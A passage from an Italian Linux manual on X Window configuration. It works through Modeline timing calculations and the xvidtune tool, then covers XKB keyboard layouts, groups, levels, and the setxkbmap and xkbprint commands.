In pratica, seguendo l'esempio già mostrato, «480 491 493 525» indica che: la risoluzione verticale è di 480 righe, l'impulso di sincronismo verticale inizia in corrispondenza della 491-esima riga (ideale) e termina con la 493-esima, infine l'altezza complessiva del quadro è di 525 righe.

Con qualche conto si scopre che la frequenza verticale (del quadro intero) necessaria per la scansione con questa modalità è di 70 Hz (25 175 000 / (800 * 525)) e che la durata dell'impulso di sincronismo è di 64 μs ((493 – 491) * 800 / 25 175 000).

La frequenza dei semiquadri è doppia, quando si utilizza una modalità interlacciata. Questo va tenuto in considerazione, perché è la frequenza dei semiquadri quella che viene presa in considerazione nella direttiva '**`VertRefresh`**'.

31.6.4.4 Interlacciamento

La predisposizione di una modalità interlacciata richiede solo due particolarità: che il numero complessivo delle righe (VFL) sia in numero dispari e che si aggiunga alla fine l'opzione '**`Interlace`**'.

```
# 1024x768 @ 87 Hz interlaced, 35.5 kHz hsync
Modeline "1024x768"  44.9 1024 1048 1208 1264   768  776  784  817 Interlace

# 1152x864 @ 89 Hz interlaced, 44 kHz hsync
ModeLine "1152x864"   65  1152 1168 1384 1480   864  865  875  985 Interlace

# 1280x1024 @ 87 Hz interlaced, 51 kHz hsync
Modeline "1280x1024"  80  1280 1296 1512 1568  1024 1025 1037 1165 Interlace
```

I valori riferiti alla scansione verticale si riferiscono sempre al quadro intero, per cui, la frequenza di sincronizzazione verticale risulta doppia rispetto alla frequenza di quadro (*refresh rate* o *frame rate*).

A questo si può aggiungere che la durata dell'impulso di sincronismo verticale dovrebbe essere doppia (o quasi) rispetto a quella necessaria in caso di scansione normale (non interlacciata).

31.6.4.5 Adattamento delle configurazioni predefinite

Il file di configurazione di XFree86, '`/etc/X11/XF86Config`', offre molti esempi validi di configurazione del monitor, ma non tutti i casi possibili e immaginabili. Uno degli elementi che può creare disturbo è proprio la frequenza di dot-clock.

È già stato spiegato che il servente grafico, usato con l'opzione '**`-probeonly`**', può dare tante informazioni utili sull'adattatore grafico utilizzato. Tra le altre cose, dovrebbe essere in grado di informare sulle frequenze di dot-clock disponibili. Quello che si vede dall'esempio è l'informazione sul dot-clock di un elaboratore portatile Zenith (Z*Star 433VL), ottenuto da un servente XFree86 versione 3.*.

```
(--) VGA16: clocks: 28.32 28.32 28.32 28.32
```

Potrebbe nascere un problema se si tratta di frequenze fisse che non corrispondono ad alcuna modalità predefinita del file di configurazione; proprio come nel caso dell'esempio.

Intuitivamente, si può cercare di adattare una modalità che abbia una frequenza di dot-clock abbastanza vicina. Osservando il file di configurazione predefinito si possono trovare queste due modalità.

```
# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     25.175 640  664  760  800   480  491  493  525

# 640x480 @ 72 Hz, 36.5 kHz hsync
Modeline "640x480"     31.5   640  680  720  864   480  488  491  521
```

Anche se non si conosce nulla delle caratteristiche del monitor (in questo caso è quello del portatile, un LCD) si può azzardare l'idea che delle frequenze orizzontali e verticali comprese tra i valori di questi esempi, non dovrebbero creare problemi (la frequenza orizzontale di 31,5 kHz è quella più bassa in assoluto rispetto a tutte le modalità predefinite). Si procede per tentativi.

Evidentemente, dagli esempi proposti, ci si accontenta di una risoluzione di 640×480 punti, quindi questi valori sono noti. Inoltre, si può decidere di mantenere le stesse frequenze di sincronizzazione verticale e orizzontale dell'esempio già visto che utilizzava una frequenza di dot-clock leggermente più bassa. Così facendo, la pausa tra una riga e l'altra dovrebbe aumentare, come probabilmente anche la pausa tra un quadro e l'altro.

```
# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     28.32  640  ???  ???  ???   480  ???  ???  ???
```

Conoscendo la frequenza di scansione orizzontale, si calcola la dimensione complessiva della riga: 28 320 000 / 31 500 = 899, ma questo numero deve essere divisibile per otto, così si sceglie il valore 896. Nello stesso modo si calcola il numero di righe complessivo che compone un quadro: (28 320 000 / 896) / 60 = 526,78, ma si sceglie di approssimare per difetto (al massimo, la frequenza verticale diviene leggermente più alta di 60 Hz).

```
# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     28.32  640  ???  ???  896   480  ???  ???  526
```

Adesso è la volta di determinare la durata dell'impulso di sincronismo orizzontale. Dovrebbe essere di circa 4 μs: 28 320 000 * 0,000 004 = 113 dot-clock. Il problema adesso è quello di trovare qualcosa di soddisfacente che sia divisibile per otto.

((896 − 640) − 113) / 2 = 71,5

640 + 71 = 711; il valore più vicino che sia divisibile per otto è 712.

712 + 113 = 825; il valore più vicino che sia divisibile per otto è 824.

896 − 824 = 72, che rende il tempo di guardia perfettamente simmetrico (è stato solo un caso).

```
# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     28.32  640  712  824  896   480  ???  ???  526
```

Restano i dati sulla durata dell'impulso di sincronismo verticale. Dal momento che la differenza rispetto all'esempio di riferimento non è molto grande, si può provare un po' a occhio, salvo verificare con la calcolatrice.

```
# 640x480 @ 60 Hz, 31.5 kHz hsync
Modeline "640x480"     28.32  640  712  824  896   480  491  494  526
```

Con questi valori, l'impulso di sincronismo dura 95 μs ((494 − 491) * 896 / 28 320 000), perfettamente accettabile.

Volendo verificare la frequenza orizzontale e verticale per sicurezza, si ottengono 31,58 kHz e 60,08 Hz, valori leggermente differenti rispetto a quelli di partenza, ma sicuramente tollerabili.

31.6.5 Rifiniture

I valori che si calcolano a tavolino, non possono essere sempre perfetti al primo colpo. Se tutto va bene, può capitare che l'immagine appaia un po' troppo spostata rispetto al centro dello schermo. Di certo si possono utilizzare i controlli del monitor per spostarla, ma a volte non conviene esagerare, dovendo trovare un compromesso tra la visualizzazione di schermate a caratteri e l'uso di X.

Quello che bisogna fare è ritoccare le dimensioni degli impulsi di sincronismo, oltre a cercare la loro collocazione ideale. Per questo però, viene in aiuto un programma apposito, che permette di verificare al volo valori differenti. Si tratta di '**`xvidtune`**'.

31.6.5.1 Utilizzo di «xvidtune»

Il programma '**`xvidtune`**'[12] permette di verificare la configurazione delle modalità video utilizzabili attraverso il servente X attivo. Generalmente viene avviato senza opzioni, ottenendo un funzionamento interattivo:

```
xvidtune [opzioni]
```

Figura 31.84. Aspetto del programma '**`xvidtune`**'.

HDisplay: 800 VDisplay: 600
HSyncStart: 840 VSyncStart: 601
HSyncEnd: 968 VSyncEnd: 605
HTotal: 1056 VTotal: 628
Left Right Wider Narrower Up Down Shorter Taller
Flags (hex): 0005 Pixel Clock (MHz): 40.00
Quit Apply Auto Test Restore Horizontal Sync (kHz): 37.88
Fetch Show Next Prev Vertical Sync (Hz): 60.31
InvertVCLK EarlySC Blank Delay 1 - 0 + Blank Delay 2 - 0 +

Come si può osservare dalla figura, i controlli dal lato sinistro riguardano la scansione orizzontale, mentre quelli del lato destro quella verticale. In basso a destra si può tenere sotto controllo il valore della frequenza di dot-clock (*pixel clock*), della frequenza di sincronizzazione orizzontale e verticale.

Al posto di utilizzare le barre si scorrimento, si possono selezionare i pulsanti grafici corrispondenti all'azione che si vuole ottenere: LEFT dovrebbe spostare l'immagine a sinistra, RIGHT a destra, WIDER dovrebbe allargare l'immagine, e NARROWER dovrebbe restringerla.

Per verificare l'effetto delle modifiche, basta selezionare il pulsante grafico TEST.

I pulsanti grafici NEXT e PREV permettono di passare alla modalità grafica successiva (quella che si otterrebbe con la combinazione [*Ctrl Alt* +]) e precedente ([*Ctrl Alt* -]).

31.6.6 Altri programmi affini

- *modeline(1)* [13]

  Si tratta di un programma che calcola i valori da associare alla direttiva '**`Modeline`**', oppure '**`Mode`**', dei programmi che usano la grafica e devono sapere come gestire la scansione dell'immagine.

31.7 La tastiera e la sua configurazione «elementare»

La configurazione della tastiera con X è un problema molto delicato, che normalmente si risolve semplicemente utilizzando le opzioni che sono già state stabilite; tuttavia, manca una documentazione adeguata e coerente per le opzioni esistenti e ancora di più manca una documentazione sufficiente per poter gestire in proprio una mappa autonoma della tastiera.

Si tenga in considerazione che, a causa della complessità del sistema di gestione della tastiera di XFree86 e di X.Org, le indicazioni che appaiono in questo capitolo possono essere imprecise o troppo semplificate.

31.7.1 Livelli, tasti morti, composizione e gruppi

La tastiera dell'elaboratore deriva concettualmente da quella delle prime macchine da scrivere, con le quali ogni tasto poteva generare due simboli diversi, alzando o abbassando il blocco dei martelli. Per questa ragione, nelle tastiere per elaboratore di lingua inglese i tasti delle maiuscole si chiamano *shift*, perché spostano virtualmente questi martelli. Secondo lo standard ISO 9995, la selezione di un simbolo in base al meccanismo che normalmente è controllato attraverso il tasto delle maiuscole, avviene in base a dei ***livelli***. In pratica, su uno stesso tasto ci può essere una lettera minuscola o maiuscola, o comunque due simboli differenti, in base alla selezione del livello appropriato.

Lo standard ISO 9995 considera che i livelli possano essere anche più di due; per esempio su diverse tastiere europee si ottiene la selezione di un terzo livello usando una combinazione con il tasto [*AltGr*]. Con XFree86 e X.Org si gestiscono normalmente quattro livelli, ma bisogna **tenere premuto inizialmente il tasto [*AltGr*] e aggiungere eventualmente il tasto [*Maiuscole*] subito dopo**, per raggiungere il quarto livello.

Generalmente, con l'uso dei vari livelli disponibili dovrebbe essere possibile esaurire l'insieme dei simboli necessari a una certa lingua; tuttavia spesso si utilizzano altre due tecniche per facilitare l'inserimento di caratteri particolari: tasti morti che servono ad accentare la lettera

successiva e sequenze di composizione. Nel primo caso, la pressione di un tasto (direttamente o attraverso la selezione del livello appropriato) non genera alcun carattere, in attesa del tasto successivo: se l'associazione tra i due è valida si ottiene la lettera accentata corrispondente. Nel secondo caso viene utilizzato un tasto per richiedere espressamente una modalità di composizione, a cui segue l'inserimento di una sequenza di simboli appropriati: se la sequenza viene riconosciuta, si ottiene un carattere «composto».

> Nelle mappe europee comuni, XFree86 e X.Org offrono la funzione di composizione nel livello due del tasto [*AltGr*], ovvero con la combinazione [*Maiuscole AltGr*]. Quello che si deve osservare è che la combinazione deve iniziare con la pressione di [*Maiuscole*], perché facendo il contrario, si selezionerebbe invece il quarto livello.

Per poter selezionare un insieme di simboli differente, si possono definire dei *gruppi* alternativi, da attivare a scelta. Per esempio, associando a un primo gruppo la mappa della tastiera italiana e a un secondo la mappa francese, in corrispondenza di un tasto si potrebbe ottenere sia la lettera «a» minuscola e maiuscola (tastiera italiana), sia la lettera «q» minuscola e maiuscola (tastiera francese).

Figura 31.85. Esempio di un tasto con due gruppi, ognuno con due livelli: la lettera «a» appartiene al primo livello del primo gruppo; la lettera «A» appartiene al secondo livello del primo gruppo; la lettera «q» appartiene al primo livello del secondo gruppo; la lettera «Q» appartiene al secondo livello del secondo gruppo.

XFree86 e X.Org gestiscono facilmente fino a quattro gruppi, ma quello che conta è avere il mezzo per selezionarli.

> Come è noto, quando i due livelli servono a selezionare la stessa lettera, ma in forma minuscola o maiuscola, di norma sul tasto fisico della tastiera appare solo il simbolo corrispondente alla lettera maiuscola.

Come si intende facilmente, per ottenere il passaggio a un livello o a un gruppo differente da quello attivo, si devono usare tasti o combinazioni di tasti appropriati. I tasti usati per questo scopo vengono chiamati normalmente ***modificatori***.

Figura 31.86. Normalmente XFree86 e X.Org gestiscono quattro livelli. Quello che si vede in questa figura è il confronto tra il gruppo '`it`' e '`fr`' per lo stesso tasto.

Riquadro 31.87. Confusione tra livelli e gruppi.

La complessità della configurazione della tastiera con XFree86 e X.Org è tale per cui tra gruppi e livelli si crea un po' di confusione. Infatti, di solito la definizione dei simboli associati ai livelli superiori al secondo avviene incorporando quelli di un altro gruppo. Pertanto, i gruppi vanno considerati in base al contesto e non in senso «assoluto», tenendo conto che il cambiamento di gruppo può voler dire che si sta passando al terzo livello, oppure che si sta scambiando la mappa attuale con quella di un'altra lingua.

È bene osservare che, a seconda di come è configurata la tastiera, il tasto [*Fissamaiuscole*] può avere funzionalità diverse, anche se intuitivamente ciò non si dovrebbe apprezzare. In pratica, in alcune tastiere europee, come nel caso di quella francese, la pressione di questo tasto attiva e mantiene il secondo livello, come se fosse sempre premuto il tasto delle maiuscole normale; in altri casi, come avviene nella tastiera statunitense e derivate (compresa quella italiana), il comportamento è diverso. Infatti, in questi casi ciò che si vuole è di ottenere le lettere maiuscole solo nella porzione alfanumerica della tastiera, mentre il resto dei simboli deve essere accessibile nella stessa modalità di prima; inoltre, se si preme il tasto delle maiuscole, si vuole che il risultato che si ottiene quando il tasto [*Fissamaiuscole*] è inserito sia di nuovo di lettere minuscole. Per questo tipo di trasformazioni, pertanto, il tasto [*Fissamaiuscole*] inserito non serve a richiedere il cambiamento di livello, ma **la trasformazione della lettera** da minuscola a maiuscola, o viceversa.

Questa caratteristica è molto importante e permette di capire il motivo, per cui, nella configurazione della tastiera italiana, si ottengono le lettere accentate maiuscole inserendo proprio il [*Fissamaiuscole*].

31.7.2 Configurazione elementare

La configurazione della mappa della tastiera si fa normalmente all'interno del file di configurazione di X ('/etc/X11/XF86Config', 'XF86Config-4' o 'xorg.conf', a seconda dei casi) e si può alterare durante il funzionamento con l'aiuto del programma '**setxkbmap**'.[14] Nella situazione più semplice si fa riferimento a un modello di tastiera attraverso le indicazioni contenute nei file della directory '/usr/lib/X11/xkb/rules/', ovvero '/etc/X11/xkb/rules/'. Per esempio, si potrebbero leggere le direttive seguenti nel file di configurazione di X:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbRules"   "xorg"
    Option "XkbModel"   "pc102"
    Option "XkbLayout"  "it"
    Option "XkbVariant" "basic"
EndSection
```

Le direttive significative dell'esempio sono quelle riferite alle opzioni che iniziano con la sigla '**Xkb**'. L'opzione '**XkbRules**' dichiara delle «regole» generali; nella maggior parte dei casi va bene indicare la sigla '**xorg**', che richiama l'utilizzo dei file 'xkb/rules/xorg' e 'xkb/rules/xorg.lst'.

Seguendo l'esempio, all'interno del file 'xkb/rules/xorg.lst' si possono individuare tutte le voci che possono essere utilizzate per l'opzione '**XkbModel**':

```
! model
  pc101         Generic 101-key PC
  pc102         Generic 102-key (Intl) PC
  pc104         Generic 104-key PC
  pc105         Generic 105-key (Intl) PC
…
…
  trust         Trust Wireless Keyboard Classic
  trustda       Trust Direct Access Keyboard
  yahoo         Yahoo! Internet Keyboard
```

Nell'esempio si vede la selezione di una tastiera a 102 tasti tradizionale (ovvero una tastiera AT europea senza i tasti «win» e «menù»). Proseguendo, si vede l'opzione '**XkbLayout**' a cui viene attribuita la voce '**it**', che presumibilmente serve a individuare una mappa adatta alla lingua italiana. Anche la disponibilità di queste sigle dipende dal contenuto del file 'xkb/rules/xorg.lst', che a questo proposito si può mostrare così:

```
! layout
  us            U.S. English
  en_US         U.S. English w/ ISO9995-3
  us_intl       U.S. English w/ deadkeys
  al            Albanian
…
…
  it            Italian
  jp            Japanese
  kan           Kannada
…
…
  yu            Yugoslavian
  nec/jp        PC-98xx Series
```

La disposizione dei tasti associata alla sigla assegnata all'opzione '**`XkbLayout`**' può prevedere delle varianti e se necessario quella preferita va specificata con l'opzione '**`XkbVariant`**'. Nell'esempio la dichiarazione riferita all'opzione '**`XkbVariant`**' è perfettamente inutile, dal momento che con la parola chiave '**`basic`**' non si specifica alcunché. Eventualmente, nel file '`xkb/rules/xorg.lst`' si può vedere quali varianti sono disponibili, ammesso che funzionino:

```
! variant
  nodeadkeys    Eliminate dead keys
```

Volendo gestire più gruppi di simboli, si possono indicare più alternative tra le opzioni di '**`XkbLayout`**', come nell'esempio seguente:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbRules"   "xorg"
    Option "XkbModel"   "pc102"
    Option "XkbLayout"  "it,fr,de"
    Option "XkbVariant" "basic,basic,basic"
    Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
```

In questa circostanza, si vogliono gestire tre mappe alternative: italiana, francese e tedesca (se ne possono gestire al massimo quattro). Per passare da un gruppo al successivo si deve usare la combinazione di tasti [*Alt Maiuscole*] (è indifferente se si tratta di quelli a sinistra o a destra), come si intuisce dall'opzione '**`XkbOptions`**'. Anche per sapere cosa si può usare per selezionare un gruppo si deve consultare il file '`xkb/rules/xorg.lst`':

```
! option
  grp                    Group Shift/Lock behavior
  grp:switch             R-Alt switches group while pressed
  grp:lwin_switch        Left Win-key switches group while pressed
  grp:rwin_switch        Right Win-key switches group while pressed
  grp:win_switch         Both Win-keys switch group while pressed
  grp:toggle             Right Alt key changes group
  …
  …
  grp:ctrl_alt_toggle    Alt+Control changes group
  grp:alt_shift_toggle   Alt+Shift changes group
  grp:menu_toggle        Menu key changes group
  …
```

Con l'aggiunta di diverse voci nell'opzione '**XkbLayout**', è stata ampliata nello stesso modo la voce relativa alle varianti. Nel caso una delle disposizioni richiedesse una variante particolare, si potrebbe inserire rispettando l'ordine:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbRules"   "xorg"
    Option "XkbModel"   "pc102"
    Option "XkbLayout"  "it,fr,de"
    Option "XkbVariant" "basic,nodeadkeys,basic"
    Option "XkbOptions" "grp:alt_shift_toggle"
EndSection
```

In questo caso si specifica la variante '**nodeadkeys**' per la disposizione francese, che in pratica annulla l'uso dei tasti morti in quel contesto.

In caso di difficoltà, l'opzione '**XkbOptions**' può servire per specificare cosa usare per richiamare il terzo livello:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbRules"   "xorg"
    Option "XkbModel"   "pc102"
    Option "XkbLayout"  "it,fr,de"
    Option "XkbVariant" "basic,basic,basic"
    Option "XkbOptions" "grp:alt_shift_toggle,lv3:switch"
EndSection
```

In questo caso si dichiara che si vuole usare il tasto [*Ctrl*] alla destra per passare al terzo livello (quello che nel caso della tastiera italiana consente di ottenere simboli come la chiocciola e il cancelletto). Ecco cosa si vede a questo proposito nel file '`xkb/rules/xorg.lst`', si tenga presente comunque che non è detto che tutte le alternative funzionino effettivamente:

```
! option
  …
  …
  lv3                 Third level choosers
  lv3:switch          Press Right Control to choose 3rd level
  lv3:menu_switch     Press Menu key to choose 3rd level
  lv3:win_switch      Press any of Win-keys to choose 3rd level
  lv3:lwin_switch     Press Left Win-key to choose 3rd level
  lv3:rwin_switch     Press Right Win-key to choose 3rd level
  …
```

Per fare tutte queste cose durante il funzionamento di X (ammesso che la tastiera sia utilizzabile in qualche modo), si può usare il comando '**`setxkbmap`**', come nell'esempio seguente, equivalente all'ultima situazione mostrata. Se si usa il comando al di fuori dell'ambiente grafico, occorre aggiungere l'opzione '**`-display`**', per far sapere al programma dove intervenire.

```
$ setxkbmap -rules xorg -model pc102 -layout "it,fr,de" ↩
↪          -variant basic -option "" -option "grp:alt_shift_toggle" ↩
↪          -option "lv3:switch" [Invio]
```

Si può comprendere come è stata usata l'opzione '**`-option`**': la prima volta ha un argomento nullo per azzerare le opzioni; la seconda volta dichiara la combinazione da usare per cambiare gruppo; la terza volta dichiara l'uso del tasto [*Ctrl*] destro per accedere al terzo livello.

In conclusione è bene osservare che **ci sono delle disposizioni di tasti**, come quella canadese ('**`ca`**') **che definiscono autonomamente più di un gruppo**. In questi casi diventa difficile o impossibile abbinarne altre in modo efficace. Eventualmente, dal momento che si tratta presumibilmente della sovrapposizione della disposizione statunitense con quella francese, si possono usare queste definizioni affiancate ('**`Option "XkbLayout" "us,fr"`**').

Tabella 31.97. Alcuni modelli comuni di tastiera.

Denominazione	Descrizione
`pc101`	La tastiera tradizionale di lingua inglese degli elaboratori «AT», in cui il tasto [*Alt*] destro viene usato normalmente con la stessa funzione di quello sinistro.
`pc102`	La tastiera tradizionale europea degli elaboratori «AT», in cui il tasto [*Alt*] destro serve normalmente per ottenere un terzo livello di simboli.
`pc104`	La tastiera di lingua inglese degli elaboratori «AT» con estensioni per MS-Windows (tre tasti in più), in cui il tasto [*Alt*] destro viene usato normalmente con la stessa funzione di quello sinistro.
`pc105`	La tastiera europea degli elaboratori «AT» con estensioni per MS-Windows (tre tasti in più), in cui il tasto [*Alt*] destro serve normalmente per ottenere un terzo livello di simboli.

Tabella 31.98. Alcune mappe di disposizione dei simboli.

Mappa	Descrizione	Mappa	Descrizione
`al`	Albanese.	`am`	Armena.
`ar`	Araba.	`az`	Azerbagiana.
`be`	Belga.	`bg`	Bulgara.
`br`	Brasiliana.	`bs`	Bosniaca.
`by`	Bielorussa.	`ca`	Canadese.
`cz`	Ceca.	`de`	Tedesca.
`dk`	Danese.	`ee`	Estone.
`el`	Greca	`es`	Spagnola.
`fi`	Finlandese.	`fr`	Francese.
`gb`	Britannica.	`hr`	Croata.
`hu`	Ungherese.	`il`	Israeliana.
`ir`	Iraniana.	`is`	Islandese.
`it`	Italiana.	`mk`	Macedone.
`mn`	Mongola.	`mt`	Maltese.
`nl`	Olandese.	`no`	Norvegese.
`pl`	Polacca.	`pt`	Portoghese.
`ro`	Rumena.	`ru`	Russa.
`se`	Svedese.	`si`	Slovena.
`sk`	Slovacca.	`sr`	Serba.

Mappa	Descrizione	Mappa	Descrizione
`tr`	Turca.	`ua`	Ucraina.
`us`	Statunitense.	`us_intl`	Statunitense con accenti morti.
`en_US`	Inglese generalizzato con estensioni ISO 9995.		

31.7.3 Geometria

Tra i file che descrivono i vari tipi di tastiera disponibili con X, ne esiste un gruppo che serve a ottenere una mappa stampata della disposizione dei tasti, con l'aiuto del programma '**`xkbprint`**'.[15] Questo programma, oltre alle opzioni eventuali, prevede l'indicazione obbligatoria delle coordinate dello schermo dal quale si vuole ottenere la mappa della configurazione attuale:

```
xkbprint [opzioni] schermo [file_da_generare]
```

Se non si indica il nome di un file da generare, il programma crea un file nella directory corrente che corrisponde al modello '`server-`***n*****.*****estensione***', dove ***n*** descrive le coordinate dello schermo. La tabella successiva descrive alcune opzioni di '**`xkbprint`**'.

Tabella 31.99. Alcune opzioni.

Opzione	Descrizione
`-color` `-mono`	Genera un risultato con o senza colorazione dei tasti.
`-eps`	Genera un risultato in formato EPS, altrimenti si ottiene un formato PostScript.
`-fit` `-full`	L'opzione '**`-fit`**', che è predefinita, fa in modo che il risultato sia contenuto in una pagina; con l'opzione '**`-full`**' si ottiene un risultato delle dimensioni normali.
`-label none|name|code|symbols`	Consente di stabilire cosa si vuole vedere sui tasti: nulla, il nome, il codice numerico o il simbolo.
`-ll` ***n***	Richiede di mostrare i simboli a partire dal livello ***n***.
`-o` ***file***	Si tratta di un modo alternativo per indicare il file da generare.
`-pict all|none|common`	Controlla la visualizzazione dei pittogrammi (secondo lo standard ISO 9995-7). Con i tre argomenti alternativi si ottengono rispettivamente: tutti i pittogrammi, nessun pittogramma, solo quelli comuni.

Vengono mostrati alcuni esempi di utilizzo del programma '**`xkbprint`**'; successivamente appaiono alcune figure ottenute dalla configurazione di una mappa italiana a 102 tasti.

- `$` **`xkbprint -color -label symbols -ll 1 -pict all :0 tastiera.ps`** [*Invio*]

  Genera il file PostScript '`tastiera.ps`', con il disegno della tastiera, usando il colori previsti, mostrando i simboli in corrispondenza dei tasti, partendo dal primo livello (predefinito), usando i pittogrammi standard per tutti i tasti con funzioni speciali. La mappa che si ottiene fa riferimento alle coordinate dello schermo '**`:0`**', ovvero '**`:0.0`**'.

- `$` **`xkbprint -eps -color -label symbols -ll 1 -pict all`** ↩
  ↪ **`:0 tastiera.eps`** [*Invio*]

  Come nell'esempio precedente, ma creando invece il file EPS '`tastiera.eps`'.

- `$` **`xkbprint -eps -color -label symbols -ll 1 -pict all :0`** [*Invio*]

  Rispetto all'esempio precedente, non viene indicato il nome del file da creare, pertanto si ottiene il file '`server-0.eps`'.

- `$` **`xkbprint -color -label symbols -ll 3 -pict all :0 tastiera.ps`** [*Invio*]

  Questo esempio è simile al primo, dal quale si distingue per specificare la richiesta di utilizzare i simboli a partire dal terzo livello. In pratica, per la tastiera italiana e per altre tastiere europee, si tratta di quei simboli che si ottengono tenendo premuto il tasto [*AltGr*].

- `$` **`xkbprint -color -label code :0 tastiera.ps`** [*Invio*]

  Rispetto al primo esempio, viene generato un disegno contenente i codici numerici dei tasti.

Figura 31.100. '**`xkbprint -color -label symbols -ll 1 -pict all :0`**'

Figura 31.101. '`xkbprint -color -label symbols -ll 3 -pict all :0`'

Figura 31.102. '`xkbprint -color -label code :0`'

31.8 Configurazione più dettagliata della tastiera e del mouse

XFree86 e X.Org prevedono un tipo di configurazione più dettagliato; eventualmente è possibile intervenire a livello brutale anche attraverso il programma '**`xmodmap`**'. In ogni caso, occorre ricordare che la configurazione della tastiera interferisce anche con quella del mouse; pertanto, un errore fatto da una parte può anche ripercuotersi dall'altra.

Si tenga in considerazione che, a causa della complessità del sistema di gestione della tastiera di X, le indicazioni che appaiono in questo capitolo possono essere imprecise o troppo semplificate.

31.8.1 Componenti della configurazione

Nelle situazioni più comuni, i componenti usati da XFree86 e X.Org per la configurazione della tastiera e del mouse, si trovano a partire dalla directory '`/usr/lib/X11/xkb/`', oppure da '`/etc/X11/xkb/`'. Per semplicità, qui vengono indicati percorsi del tipo '`xkb/...`'. I componenti principali sono cinque:

1. i codici dei tasti (*key code*), annotati all'interno della directory '`xkb/keycodes/`', dove si abbinano i codici numerici della tastiera a dei nomi simbolici, secondo la forma '***<xxxx>***';
2. i tipi, annotati all'interno della directory '`xkb/types/`', dove si definisce il comportamento dei tasti modificatori (quelli che servono a creare delle combinazioni);
3. le mappe di compatibilità, annotate all'interno della directory '`xkb/compatibility/`', dove si definiscono gli adattamenti da applicare quando i programmi non sono in grado di interpretare correttamente tutte le funzionalità disponibili;
4. i simboli, annotate all'interno della directory '`xkb/symbols/`', dove si definiscono i caratteri associati effettivamente ai nomi simbolici dei tasti;
5. i disegni delle tastiere (*geometry*), annotati all'interno della directory '`xkb/geometry/`', dove si descrivono le tastiere in modo da poterne riprodurre una mappa stampata.

31.8.2 Modificatori

I modificatori sono i tasti o le combinazioni di tasti che servono a cambiare significato ad altri tasti. La configurazione di XFree86 e X.Org distingue tra modificatori reali e modificatori virtuali.

I modificatori reali sono i tasti [*Maiuscole*], [*Fissamaiuscole*], [*Ctrl*] e altri cinque modificatori generici da stabilire, denominati '**`Mod1`**', '**`Mod2`**', '**`Mod3`**', '**`Mod4`**' e '**`Mod5`**'. A questi modificatori generici si possono associare tasti come [*Alt*], [*Meta*], [*BlocNum*], che in tal caso sono da considerare dei modificatori virtuali. Eventualmente, un modificatore virtuale può essere costituito in pratica da una combinazione di tasti.

Storicamente, i modificatori presenti praticamente in tutte le tastiere sono solo i primi tre modificatori reali appena descritti; questo spiega la necessità di attribuire gli altri ai modificatori generici.

31.8.3 Configurazione

La configurazione della tastiera può avvenire nel file '`XF86Config`' in un modo più dettagliato rispetto a quanto si descrive di solito. Si osservi l'esempio seguente:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

#   Option "XkbKeycodes"        "xfree86"
    Option "XkbKeycodes"        "xorg"
    Option "XkbTypes"           "default"
    Option "XkbSymbols"         "en_US(pc102)+it"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic+pc+iso9995"
EndSection
```

Quello che si vede rappresenta una configurazione minima per l'utilizzo di una tastiera italiana tipica in un elaboratore x86 con X.Org. Le varie opzioni rappresentano le cinque componenti principali di configurazione, che si trovano all'interno dei file contenuti nelle directory '`xkb/keycodes/`', '`xkb/types/`', '`xkb/symbols/`', '`xkb/geometry/`' e '`xkb/compat/`' rispettivamente.

In questo caso, l'opzione '**`XkbKeycodes`**' contiene il valore '**`xorg`**', che rimanda ai file '`xkb/rules/xorg`' e '`xkb/rules/xorg.lst`'; nel primo di questi due file c'è un riferimento esplicito alla voce '**`xfree86`**' per ciò che riguarda i codici della tastiera di un elaboratore x86:

```
! model          =       keycodes
  macintosh_old =       macintosh
  powerpcps2     =       powerpcps2
  pc98           =       xfree98(pc98)
  abnt2          =       xfree86(abnt2)
  jp106          =       xfree86(jp106)
  *              =       xfree86
```

Ciò corrisponde a selezionare il file di configurazione '`xkb/keycodes/xfree86`' che contiene l'abbinamento tra codici numerici della tastiera e codici simbolici, come si può vedere dall'estratto seguente:

```
default xkb_keycodes "xfree86" {
    include "xfree86(basic)"
    <BKSL> =  51;
    <LSGT> =  94;
};

xkb_keycodes "basic" {

    minimum= 8;
    maximum= 255;

    <TLDE> =  49;
```

```
    <AE01> =  10;
    <AE02> =  11;
    …
    indicator 1 = "Caps Lock";
    indicator 2 = "Num Lock";
    indicator 3 = "Scroll Lock";

    alias <ALGR> = <RALT>;
};
…
xkb_keycodes "abnt2" {
    include "xfree86(basic)"
    <BKSL> = 94;
    <AC12> = 51;
    <KPPT> = 134;
};
```

Come appena descritto, assegnare il valore '**`xfree86`**' all'opzione '**`XkbKeycodes`**' significa indicare l'uso del file '`xkb/keycodes/xfree86`', il cui contenuto, come si può vedere dall'estratto di esempio, è suddiviso in sezioni. Quando si indica il file, occorrerebbe anche specificare la sezione a cui si fa riferimento; in questo caso la sezione predefinita a essere presa in considerazione è quella denominata nello stesso modo del file, '**`xfree86`**', come si vede all'inizio:

```
default xkb_keycodes "xfree86" {
    include "xfree86(basic)"
…
```

Si può vedere che questa sezione richiama la sezione '**`basic`**' dello stesso file. In pratica, la configurazione di X ('`/etc/X11/XF86Config*`', '`/etc/X11/xorg.conf`', ecc.) avrebbe potuto essere più precisa specificandola così:

```
Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"

    Option "AutoRepeat" "500 30"

    Option "XkbKeycodes"        "xorg(xfree86)"
    Option "XkbTypes"           "default"
    Option "XkbSymbols"         "en_US(pc102)+it"
    Option "XkbGeometry"        "pc(pc102)"
    Option "XkbCompat"          "basic+pc+iso9995"
EndSection
```

